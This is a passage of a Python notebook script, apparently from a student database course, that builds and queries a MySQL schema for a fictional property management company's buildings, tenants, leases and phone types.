conn.query("""INSERT INTO leases VALUES('B1',2,'T2','2016-08-01','2018-08-01')""")
conn.query("""INSERT INTO leases VALUES('B1',3,'T3','2009-03-01','2019-03-01')""")
conn.query("""INSERT INTO leases VALUES('B1',4,'T3','2015-03-01','2019-03-01')""")
conn.query("""INSERT INTO leases VALUES('B1',4,'T4','2015-03-01','2019-03-01')""")
conn.query("""INSERT INTO leases VALUES('B2',1,'T5','2016-08-01','2018-08-01')""")
conn.query("""INSERT INTO leases VALUES('B2',2,'T6','2015-05-01','2018-05-01')""")
conn.query("""INSERT INTO leases VALUES('B2',3,'T7','2008-04-01','2019-04-01')""")
conn.query("""INSERT INTO leases VALUES('B2',4,'T8','2015-02-01','2019-02-01')""")
conn.query("""INSERT INTO leases VALUES('B2',5,'T9','2017-10-01','2018-10-01')""")
conn.query("""INSERT INTO leases VALUES('B2',6,'T10','2016-07-01','2018-07-01')""")
conn.query("""INSERT INTO leases VALUES('B2',7,'T11','2017-08-01','2018-08-01')""")
conn.query("""INSERT INTO leases VALUES('B3',1,'T12','2010-04-01','2019-04-01')""")
conn.query("""INSERT INTO leases VALUES('B3',2,'T13','2014-07-01','2018-07-01')""")
conn.query("""INSERT INTO leases VALUES('B3',3,'T14','2015-04-01','2019-04-01')""")
conn.query("""INSERT INTO leases VALUES('B3',4,'T15','2016-05-01','2018-05-01')""")
conn.query("""INSERT INTO leases VALUES('B3',5,'T16','2015-09-01','2018-09-01')""")
conn.query("""INSERT INTO leases VALUES('B3',6,'T17','2014-04-01','2019-04-01')""")
conn.query("""INSERT INTO leases VALUES('B3',7,'T18','2015-07-01','2018-07-01')""")
conn.query("""INSERT INTO leases VALUES('B4',1,'T19','2015-03-01','2019-03-01')""")
conn.query("""INSERT INTO leases VALUES('B4',2,'T20','2015-05-01','2018-05-01')""")
conn.query("""INSERT INTO leases VALUES('B4',3,'T21','2017-10-01','2018-10-01')""")
conn.query("""INSERT INTO leases VALUES('B4',4,'T22','2016-11-01','2018-11-01')""")
conn.query("""INSERT INTO leases VALUES('B5',1,'T23','2018-03-01','2019-03-01')""")
conn.query("""INSERT INTO leases VALUES('B5',2,'T24','2017-04-01','2019-04-01')""")
conn.query("""INSERT INTO leases VALUES('B6',1,'T25','2017-05-01','2018-05-01')""")
conn.query("""INSERT INTO leases VALUES('B6',2,'T26','2006-04-01','2019-04-01')""")
conn.query("""INSERT INTO leases VALUES('B6',3,'T27','2017-01-01','2018-01-01')""")
conn.query("""INSERT INTO leases VALUES('B6',4,'T28','2018-04-01','2019-04-01')""")
conn.commit()
# Alter manager Table to add the missing referential integrity constraint by making MResBuildingID a foreign key referring to BuildingID the primary key of the building Table.
# In[14]:
conn.query("""ALTER TABLE manager ADD CONSTRAINT fkresidesin FOREIGN KEY (MResBuildingID) REFERENCES building(BuildingID)""")
# Create new Table: phonetype
# In[15]:
conn.query("""CREATE TABLE phonetype (
PhoneTypeID CHAR(1) NOT NULL,
PhoneType VARCHAR(6) NOT NULL,
PRIMARY KEY (PhoneTypeID)
)""")
# Insert values into phonetype
# In[16]:
conn.query("""INSERT INTO phonetype VALUES('M','Mobile')""")
conn.query("""INSERT INTO phonetype VALUES('H','Home')""")
conn.commit()
# Alter managerphone and tenantphone Tables to include a foreign key column that references PhoneTypeID from phonetype.
# In[17]:
conn.query("""ALTER TABLE managerphone
ADD MPhoneType CHAR(1) NOT NULL""")
conn.query("""ALTER TABLE tenantphone
ADD TPhoneType CHAR(1) NOT NULL""")
# Insert values into MPhoneType and TPhoneType columns.
# In[18]:
conn.query("""UPDATE managerphone set MPhoneType = 'M' where ManagerPhone like '%212-555-0810%'""")
conn.query("""UPDATE managerphone set MPhoneType = 'H' where ManagerPhone like '%212-555-1738%'""")
conn.query("""UPDATE managerphone set MPhoneType = 'H' where ManagerPhone like '%914-555-2555%'""")
conn.query("""UPDATE managerphone set MPhoneType = 'M' where ManagerPhone like '%914-555-6063%'""")
conn.query("""UPDATE managerphone set MPhoneType = 'M' where ManagerPhone like '%914-555-6510%'""")
conn.commit()
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%212-555-3245%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%914-555-6509%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%212-555-2555%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%914-555-6063%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%914-555-2555%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%914-555-6510%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%914-555-6684%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%914-555-2555%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%413-555-5687%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%212-555-8006%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%796-555-3475%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%212-555-7468%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%948-555-9302%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%738-555-2835%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%934-555-1029%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%212-555-3927%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%832-555-6930%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%938-555-4830%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%212-555-2234%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%349-555-7730%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%834-555-3928%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%212-555-8854%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%254-555-6054%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%212-555-5936%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%530-555-3928%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%720-555-3948%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%648-555-2039%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%182-555-3759%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%134-555-2261%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%212-555-7993%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%453-555-3344%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%212-555-9952%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%326-555-1284%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%372-555-0384%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%843-555-3027%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%212-555-0674%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%947-555-0384%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%212-555-0085%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%382-555-3221%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'H' where TenantPhone like '%212-555-4038%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%418-555-6748%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%418-555-9744%'""")
conn.query("""UPDATE tenantphone set TPhoneType = 'M' where TenantPhone like '%638-555-9853%'""")
conn.commit()
# Add foreign key constraints for MPhoneType and TPhoneType that reference PhoneTypeID from phonetype Table.
# In[19]:
conn.query("""ALTER TABLE managerphone
ADD CONSTRAINT fkmphonetype
FOREIGN KEY (MPhoneType) REFERENCES phonetype(PhoneTypeID)""")
conn.query("""ALTER TABLE tenantphone
ADD CONSTRAINT fktphonetype
FOREIGN KEY (TPhoneType) REFERENCES phonetype(PhoneTypeID)""")
# In[20]:
conn.query("""DROP SCHEMA IF EXISTS neu_student_zoe_pesce_labwork""")
# In[21]:
conn.close()
# Edit Database Requirements to include a new Table: phonetype
# # Updated Requirements:
# The DLZHP LLC Property Management Database will capture data about the following:
#
# For each building owned: a building ID (unique), building address, building number of floors, price building was purchased at, year building was purchased, year building was built, building age (derived from year built and current date)
#
# For each Apartment: a AptNo (partially unique, i.e., unique within a building), apartment number of bedrooms, apartment total rooms, rent amount
#
# For each Tenant: a Tenant ID (unique), Tenant Full Name (composed of Tenant First Name and Tenant Last Name), multiple Tenant phone numbers, Tenant birthday, Tenant age (derived from tenant birthday and current date)
#
# For each Building Manager: a Manager ID (unique), Manager Full Name (composed of Manager First Name and Manager Last Name), Manager Birthday, Manager Age (derived from manager birthday and current date), Manager salary, Manager bonus (optional), multiple manager phone numbers
#
# For each building inspector: an Inspector ID (unique), Inspector full name (composed of inspector first name and inspector last name)
#
# For each phone type: a phone type ID (unique) and phone type
#
# Each building has one or more apartments. Each apartment is located in exactly one building.
# Each apartment is leased to one or many tenants or it can be leased to none. Each tenant leases one or many apartments.
#
# Each building is managed by exactly one manager. Each manager manages one or many buildings.
#
# Each manager resides in exactly one building. Each building has one manager residing in it or no managers residing in it.
#
# Each inspector inspects one or many buildings. Each building is inspected by one or many inspectors.
#
# For each building that a particular inspector inspects, the dates of the last inspection and the date of the next future inspection by the inspector are recorded.
#
# For each apartment a tenant leases, the Tenant's move in date and the Tenant's lease term date are recorded.
# # Updated Relational Schema:
# ![erdplus-diagram-4.png](attachment:erdplus-diagram-4.png)
# # Updated Code:
# In[22]:
import pymysql.cursors
import pymysql
dsn_database = "neu_student"
dsn_hostname = "172.16.17.32"
dsn_port = 3306
dsn_uid = "neu"
dsn_pwd = "<PASSWORD>"
conn = pymysql.connect(host=dsn_hostname, port=dsn_port, user=dsn_uid, passwd=<PASSWORD>, db=dsn_database)
# In[23]:
conn.query("""DROP SCHEMA IF EXISTS neu_student_zoe_pesce_labwork""")
conn.query("""CREATE SCHEMA neu_student_zoe_pesce_labwork""")
conn.query("""USE neu_student_zoe_pesce_labwork""")
conn.query("""DROP TABLE IF EXISTS leases, tenantphone, tenant, apartment, inspects, inspector, building, managerphone, manager, phonetype""")
conn.query("""CREATE TABLE phonetype (
PhoneTypeID CHAR(1) NOT NULL,
PhoneType VARCHAR(6) NOT NULL,
PRIMARY KEY (PhoneTypeID)
)""")
conn.query("""CREATE TABLE manager
(
ManagerID VARCHAR(5) NOT NULL,
ManagerFName VARCHAR(20) NOT NULL,
ManagerLName VARCHAR(20) NOT NULL,
ManagerBDate Date NOT NULL,
ManagerSalary Decimal(10,2) NOT NULL,
ManagerBonus Decimal(10,2),
MResBuildingID VARCHAR(5),
PRIMARY KEY (ManagerID)
)""")
conn.query("""CREATE TABLE managerphone
(
ManagerID VARCHAR(5) NOT NULL,
ManagerPhone VARCHAR(14) NOT NULL,
MPhoneType CHAR(1)NOT NULL,
PRIMARY KEY (ManagerID, ManagerPhone),
FOREIGN KEY (ManagerID) REFERENCES manager(ManagerID),
FOREIGN KEY (MPhoneType) REFERENCES phonetype(PhoneTypeID)
)""")
conn.query("""CREATE TABLE building
(
BuildingID VARCHAR(5) NOT NULL,
BuildingAddress VARCHAR(60) NOT NULL,
BNoOfFloors INT NOT NULL,
BPricePurchased Decimal(10,2) NOT NULL,
BYearPurchased Int NOT NULL,
BYearBuilt INT NOT NULL,
ManagerID VARCHAR(5) NOT NULL,
PRIMARY KEY (BuildingID),
FOREIGN KEY (ManagerID) REFERENCES manager(ManagerID)
)""")
conn.query("""CREATE TABLE inspector
(
InspectorID VARCHAR(5) NOT NULL,
InspectorFName VARCHAR(20) NOT NULL,
InspectorLName VARCHAR(20) NOT NULL,
PRIMARY KEY (InspectorID)
)""")
conn.query("""CREATE TABLE inspects
(
BuildingID VARCHAR(5) NOT NULL,
InspectorID VARCHAR(5) NOT NULL,
DateLast Date NOT NULL,
DateNext Date NOT NULL,
PRIMARY KEY (BuildingID, InspectorID),
FOREIGN KEY (BuildingID) REFERENCES building(BuildingID),
FOREIGN KEY (InspectorID) REFERENCES inspector(InspectorID)
)""")
conn.query("""CREATE TABLE apartment
(
BuildingID VARCHAR(5) NOT NULL,
AptNo INT NOT NULL,
AptNoOfRooms INT NOT NULL,
AptNoOfBedroom INT NOT NULL,
AptRentAmt Decimal(10,2) NOT NULL,
PRIMARY KEY (BuildingID, AptNo),
FOREIGN KEY (BuildingID) REFERENCES building(BuildingID)
)""")
conn.query("""CREATE TABLE tenant
(
TenantID VARCHAR(5) NOT NULL,
TenantFName VARCHAR(20) NOT NULL,
TenantLName VARCHAR(20) NOT NULL,
TenantBDate Date NOT NULL,
PRIMARY KEY (TenantID)
)""")
conn.query("""CREATE TABLE tenantphone
(
TenantID VARCHAR(5) NOT NULL,
TenantPhone VARCHAR(14) NOT NULL,
TPhoneType CHAR(1) NOT NULL,
PRIMARY KEY (TenantID, TenantPhone),
FOREIGN KEY (TenantID) REFERENCES tenant(TenantID),
FOREIGN KEY (TPhoneType) REFERENCES phonetype(PhoneTypeID)
)""")
conn.query("""CREATE TABLE leases
(
BuildingID VARCHAR(5) NOT NULL,
AptNo INT NOT NULL,
TenantID VARCHAR(5) NOT NULL,
TMoveInDate Date NOT NULL,
TLeaseTermDate Date NOT NULL,
PRIMARY KEY (BuildingID, AptNo, TenantID),
FOREIGN KEY (BuildingID, AptNo) REFERENCES apartment(BuildingID, AptNo),
FOREIGN KEY (TenantID) REFERENCES tenant(TenantID)
)""")
# In[24]:
conn.query("""INSERT INTO phonetype VALUES('M','Mobile')""")
conn.query("""INSERT INTO phonetype VALUES('H','Home')""")
conn.commit()
conn.query("""INSERT INTO manager (ManagerID, ManagerFName, ManagerLName, ManagerBDate, ManagerSalary, ManagerBonus) VALUES('M1','Tony','Hernandez','1979-06-10',73000.00,2500.00)""")
conn.query("""INSERT INTO manager (ManagerID, ManagerFName, ManagerLName, ManagerBDate, ManagerSalary, MResBuildingID) VALUES('M2','Dan','Pesce','1966-08-24',105000.00,'B1')""")
conn.commit()
conn.query("""INSERT INTO managerphone VALUES('M1','212-555-0810','M')""")
conn.query("""INSERT INTO managerphone VALUES('M1','212-555-1738','H')""")
conn.query("""INSERT INTO managerphone VALUES('M2','914-555-2555','H')""")
conn.query("""INSERT INTO managerphone VALUES('M2','914-555-6063','M')""")
conn.query("""INSERT INTO managerphone VALUES('M2','914-555-6510','M')""")
conn.commit()
conn.query("""INSERT INTO building VALUES('B1','30 Downing St. New York, NY 10014',6,2000000.00,2002,1901,'M2')""")
conn.query("""INSERT INTO building VALUES('B2','3242 Middletown Rd. Bronx, NY 10465',4,350000.00,1995,1932,'M1')""")
conn.query("""INSERT INTO building VALUES('B3','3244 Middletown Rd. Bronx, NY 10465',4,300000.00,1993,1932,'M1')""")
conn.query("""INSERT INTO building VALUES('B4','1628 Kennelworth Pl. Bronx, NY 10465',4,550000.00,2007,1921,'M1')""")
conn.query("""INSERT INTO building VALUES('B5','1634 Kennelworth Pl. Bronx, NY 10465',2,250000.00,2008,1947,'M1')""")
conn.query("""INSERT INTO building VALUES('B6','3268 Middletown Rd. Bronx, NY 10465',3,480000.00,2006,1935,'M1')""")
conn.commit()
conn.query("""INSERT INTO inspector VALUES('I1','John','Peabody')""")
conn.query("""INSERT INTO inspector VALUES('I2','Ralph','Eames')""")
conn.query("""INSERT INTO inspector VALUES('I3','Anthony','Zaro')""")
conn.commit()
conn.query("""INSERT INTO inspects VALUES('B1','I3','2017-03-15','2018-05-15')""")
conn.query("""INSERT INTO inspects VALUES('B2','I1','2017-04-01','2018-06-08')""")
conn.query("""INSERT INTO inspects VALUES('B3','I2','2017-02-15','2018-07-10')""")
conn.query("""INSERT INTO inspects VALUES('B4','I2','2017-08-17','2018-09-20')""")
conn.query("""INSERT INTO inspects VALUES('B5','I1','2017-10-26','2018-11-15')""")
conn.query("""INSERT INTO inspects VALUES('B6','I1','2017-09-18','2018-09-20')""")
conn.commit()
conn.query("""INSERT INTO apartment VALUES('B1',1,2,1,2500.00)""")
conn.query("""INSERT INTO apartment VALUES('B1',2,2,1,2500.00)""")
conn.query("""INSERT INTO apartment VALUES('B1',3,4,1,4500.00)""")
conn.query("""INSERT INTO apartment VALUES('B1',4,6,2,6500.00)""")
conn.query("""INSERT INTO apartment VALUES('B2',1,5,2,1600.00)""")
conn.query("""INSERT INTO apartment VALUES('B2',2,4,1,1250.00)""")
conn.query("""INSERT INTO apartment VALUES('B2',3,4,1,1200.00)""")
conn.query("""INSERT INTO apartment VALUES('B2',4,4,1,1250.00)""")
conn.query("""INSERT INTO apartment VALUES('B2',5,4,1,1475.00)""")
conn.query("""INSERT INTO apartment VALUES('B2',6,5,2,1600.00)""")
conn.query("""INSERT INTO apartment VALUES('B2',7,2,1,850.00)""")
conn.query("""INSERT INTO apartment VALUES('B3',1,6,2,1500.00)""")
conn.query("""INSERT INTO apartment VALUES('B3',2,4,1,1400.00)""")
conn.query("""INSERT INTO apartment VALUES('B3',3,4,1,1200.00)""")
conn.query("""INSERT INTO apartment VALUES('B3',4,4,1,1250.00)""")
conn.query("""INSERT INTO apartment VALUES('B3',5,4,1,950.00)""")
conn.query("""INSERT INTO apartment VALUES('B3',6,3,1,1300.00)""")
conn.query("""INSERT INTO apartment VALUES('B3',7,2,1,1100.00)""")
conn.query("""INSERT INTO apartment VALUES('B4',1,7,3,1800.00)""")
conn.query("""INSERT INTO apartment VALUES('B4',2,7,3,2000.00)""")
conn.query("""INSERT INTO apartment VALUES('B4',3,5,2,1600.00)""")
conn.query("""INSERT INTO apartment VALUES('B4',4,5,2,1750.00)""")
conn.query("""INSERT INTO apartment VALUES('B5',1,3,1,1500.00)""")
conn.query("""INSERT INTO apartment VALUES('B5',2,3,1,1300.00)""")
conn.query("""INSERT INTO apartment VALUES('B6',1,6,2,1600.00)""")
conn.query("""INSERT INTO apartment VALUES('B6',2,5,2,1350.00)""")
conn.query("""INSERT INTO apartment VALUES('B6',3,3,1,1300.00)""")
conn.query("""INSERT INTO apartment VALUES('B6',4,2,1,1100.00)""")
conn.commit()
conn.query("""INSERT INTO tenant VALUES('T1','Andrew','Pesce','1992-06-05')""")
conn.query("""INSERT INTO tenant VALUES('T2','Hannah','Pesce','1998-06-10')""")
conn.query("""INSERT INTO tenant VALUES('T3','Dan','Pesce','1966-08-24')""")
conn.query("""INSERT INTO tenant VALUES('T4','Lucia','Pesce','1967-03-25')""")
conn.query("""INSERT INTO tenant VALUES('T5','Rebecca','Johnson','1985-07-06')""")
conn.query("""INSERT INTO tenant VALUES('T6','Catherine','Turlington','1984-02-03')""")
conn.query("""INSERT INTO tenant VALUES('T7','Debbie','Freedman','1970-04-21')""")
conn.query("""INSERT INTO tenant VALUES('T8','Vivian','Charles','1962-07-20')""")
conn.query("""INSERT INTO tenant VALUES('T9','Tim','Arnold','1967-12-30')""")
conn.query("""INSERT INTO tenant VALUES('T10','Rita','Wright','1968-05-10')""")
conn.query("""INSERT INTO tenant VALUES('T11','Chris','Lloyd','1988-09-13')""")
conn.query("""INSERT INTO tenant VALUES('T12','Bill','Rogers','1965-08-04')""")
conn.query("""INSERT INTO tenant VALUES('T13','Carol','Coscia','1955-03-16')""")
conn.query("""INSERT INTO tenant VALUES('T14','Yvonne','Snell','1963-04-07')""")
conn.query("""INSERT INTO tenant VALUES('T15','Colleen','Smith','1982-10-10')""")
conn.query("""INSERT INTO tenant VALUES('T16','Nicholas','Cruz','1985-10-20')""")
conn.query("""INSERT INTO tenant VALUES('T17','Rudy','Rose','1977-02-18')""")
conn.query("""INSERT INTO tenant VALUES('T18','Milton','Mason','1964-06-22')""")
conn.query("""INSERT INTO tenant VALUES('T19','Jennifer','Apple','1961-01-25')""")
conn.query("""INSERT INTO tenant VALUES('T20','Tony','Cooke','1976-01-27')""")
conn.query("""INSERT INTO tenant VALUES('T21','Ashley','Bloomberg','1958-01-18')""")
conn.query("""INSERT INTO tenant VALUES('T22','Lizbeth','Simpson','1974-06-12')""")
conn.query("""INSERT INTO tenant VALUES('T23','Mario','Dutti','1966-11-19')""")
conn.query("""INSERT INTO tenant VALUES('T24','Manual','Perry','1983-12-03')""")
conn.query("""INSERT INTO tenant VALUES('T25','George','Clark','1981-08-29')""")
conn.query("""INSERT INTO tenant VALUES('T26','Peter','Pan','1982-09-10')""")
conn.query("""INSERT INTO tenant VALUES('T27','Emily','Bell','1983-03-14')""")
conn.query("""INSERT INTO tenant VALUES('T28','Chris','Cooper','1986-05-04')""")
conn.commit()
conn.query("""INSERT INTO tenantphone VALUES('T1','212-555-3245','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T2','914-555-6509','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T2','212-555-2555','H')""")
conn.query("""INSERT INTO tenantphone VALUES('T3','914-555-6063','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T3','914-555-2555','H')""")
conn.query("""INSERT INTO tenantphone VALUES('T3','914-555-6510','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T4','914-555-6684','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T4','914-555-2555','H')""")
conn.query("""INSERT INTO tenantphone VALUES('T5','413-555-5687','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T5','212-555-8006','H')""")
conn.query("""INSERT INTO tenantphone VALUES('T6','796-555-3475','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T6','212-555-7468','H')""")
conn.query("""INSERT INTO tenantphone VALUES('T7','948-555-9302','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T8','738-555-2835','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T9','934-555-1029','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T9','212-555-3927','H')""")
conn.query("""INSERT INTO tenantphone VALUES('T10','832-555-6930','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T11','938-555-4830','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T11','212-555-2234','H')""")
conn.query("""INSERT INTO tenantphone VALUES('T12','349-555-7730','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T13','834-555-3928','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T13','212-555-8854','H')""")
conn.query("""INSERT INTO tenantphone VALUES('T14','254-555-6054','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T14','212-555-5936','H')""")
conn.query("""INSERT INTO tenantphone VALUES('T15','530-555-3928','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T16','720-555-3948','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T17','648-555-2039','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T18','182-555-3759','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T19','134-555-2261','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T19','212-555-7993','H')""")
conn.query("""INSERT INTO tenantphone VALUES('T20','453-555-3344','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T20','212-555-9952','H')""")
conn.query("""INSERT INTO tenantphone VALUES('T21','326-555-1284','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T22','372-555-0384','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T23','843-555-3027','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T23','212-555-0674','H')""")
conn.query("""INSERT INTO tenantphone VALUES('T24','947-555-0384','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T24','212-555-0085','H')""")
conn.query("""INSERT INTO tenantphone VALUES('T25','382-555-3221','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T25','212-555-4038','H')""")
conn.query("""INSERT INTO tenantphone VALUES('T26','418-555-6748','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T27','418-555-9744','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T28','638-555-9853','M')""")
conn.commit()
conn.query("""INSERT INTO leases VALUES('B1',1,'T1','2016-06-01','2018-06-01')""")
conn.query("""INSERT INTO leases VALUES('B1',2,'T2','2016-08-01','2018-08-01')""")
conn.query("""INSERT INTO leases VALUES('B1',3,'T3','2009-03-01','2019-03-01')""")
conn.query("""INSERT INTO leases VALUES('B1',4,'T3','2015-03-01','2019-03-01')""")
conn.query("""INSERT INTO leases VALUES('B1',4,'T4','2015-03-01','2019-03-01')""")
conn.query("""INSERT INTO leases VALUES('B2',1,'T5','2016-08-01','2018-08-01')""")
conn.query("""INSERT INTO leases VALUES('B2',2,'T6','2015-05-01','2018-05-01')""")
conn.query("""INSERT INTO leases VALUES('B2',3,'T7','2008-04-01','2019-04-01')""")
conn.query("""INSERT INTO leases VALUES('B2',4,'T8','2015-02-01','2019-02-01')""")
conn.query("""INSERT INTO leases VALUES('B2',5,'T9','2017-10-01','2018-10-01')""")
conn.query("""INSERT INTO leases VALUES('B2',6,'T10','2016-07-01','2018-07-01')""")
conn.query("""INSERT INTO leases VALUES('B2',7,'T11','2017-08-01','2018-08-01')""")
conn.query("""INSERT INTO leases VALUES('B3',1,'T12','2010-04-01','2019-04-01')""")
conn.query("""INSERT INTO leases VALUES('B3',2,'T13','2014-07-01','2018-07-01')""")
conn.query("""INSERT INTO leases VALUES('B3',3,'T14','2015-04-01','2019-04-01')""")
conn.query("""INSERT INTO leases VALUES('B3',4,'T15','2016-05-01','2018-05-01')""")
conn.query("""INSERT INTO leases VALUES('B3',5,'T16','2015-09-01','2018-09-01')""")
conn.query("""INSERT INTO leases VALUES('B3',6,'T17','2014-04-01','2019-04-01')""")
conn.query("""INSERT INTO leases VALUES('B3',7,'T18','2015-07-01','2018-07-01')""")
conn.query("""INSERT INTO leases VALUES('B4',1,'T19','2015-03-01','2019-03-01')""")
conn.query("""INSERT INTO leases VALUES('B4',2,'T20','2015-05-01','2018-05-01')""")
conn.query("""INSERT INTO leases VALUES('B4',3,'T21','2017-10-01','2018-10-01')""")
conn.query("""INSERT INTO leases VALUES('B4',4,'T22','2016-11-01','2018-11-01')""")
conn.query("""INSERT INTO leases VALUES('B5',1,'T23','2018-03-01','2019-03-01')""")
conn.query("""INSERT INTO leases VALUES('B5',2,'T24','2017-04-01','2019-04-01')""")
conn.query("""INSERT INTO leases VALUES('B6',1,'T25','2017-05-01','2018-05-01')""")
conn.query("""INSERT INTO leases VALUES('B6',2,'T26','2006-04-01','2019-04-01')""")
conn.query("""INSERT INTO leases VALUES('B6',3,'T27','2017-01-01','2018-01-01')""")
conn.query("""INSERT INTO leases VALUES('B6',4,'T28','2018-04-01','2019-04-01')""")
conn.commit()
conn.query("""ALTER TABLE manager ADD CONSTRAINT fkresidesin FOREIGN KEY (MResBuildingID) REFERENCES building(BuildingID)""")
# # Delete, Insert, Update Commands:
# Delete | Tenant T28, Chris, got a new job in Massachusetts and is moving out. His information will be deleted from the DLZHP Property Management Database.
# In[25]:
conn.query("""DELETE FROM tenantphone WHERE TenantID = 'T28'""")
conn.query("""DELETE FROM leases WHERE TenantID = 'T28'""")
conn.query("""DELETE FROM tenant WHERE TenantID = 'T28'""")
conn.commit()
# Insert | A new Tenant, Sally, moves in to B6 Apt 4. She will become T28 and her information will be recorded in the DLZHP Property Management Database.
# In[26]:
conn.query("""INSERT INTO tenant VALUES('T28','Sally','Stone','1980-11-13')""")
conn.query("""INSERT INTO tenantphone VALUES('T28','653-555-0126','M')""")
conn.query("""INSERT INTO tenantphone VALUES('T28','212-555-1818','H')""")
conn.query("""INSERT INTO leases VALUES('B6',4,'T28','2018-05-01','2019-05-01')""")
conn.commit()
# Update | Hannah, T2, gets a family and friends discount on her rent and it is lowered to $2,000.00 a month.
# In[27]:
conn.query("""UPDATE apartment SET AptRentAmt = 2000.00 WHERE BuildingID = 'B1' AND AptNo = 2""")
conn.commit()
# # Select and Group By Commands:
# Select | DLZHP LLC is considering lowering rents by 5% and would like to see what each apartment would rent for when AptRentAmt is decreased by 5% compared with what each apartment is currently renting for.
# In[28]:
cursor=conn.cursor()
cursor.execute("""SELECT BuildingID, AptNo, AptRentAmt, AptRentAmt*0.95 FROM apartment""")
print ("\nShow Records:\n" "\nBuildingID, AptNo, AptRentAmt, AptRentAmt 5% Decrease\n")
rows = cursor.fetchall()
import pprint
pprint.pprint(rows)
# Group By | DLZHP LLC would like to see how many numbers they have recorded for each type of phone: mobile and home
# In[29]:
cursor=conn.cursor()
cursor.execute("""SELECT TPhoneType, COUNT(*) FROM tenantphone GROUP BY TPhoneType""")
print ("\nShow Records:\n" "\n('TPhoneType', Count of TPhoneType)\n")
rows = cursor.fetchall()
import pprint
pprint.pprint(rows)
# Extra Query:
#
# Join & Nested | Tony wants to throw a tenant appreciation party for B3 and would like a list of tenants who live in B3 that includes their full name, phone numbers, and phone types
# In[30]:
cursor=conn.cursor()
cursor.execute("""SELECT t.TenantID, t.TenantFName, t.TenantLName, tp.TenantPhone, tp.TPhoneType, l.BuildingID
FROM tenant t, tenantphone tp, leases l
WHERE t.TenantID = tp.tenantID AND t.tenantID = l.TenantID AND l.TenantID IN (SELECT TenantID FROM leases WHERE BuildingID = 'B3')
ORDER BY l.TenantID""")
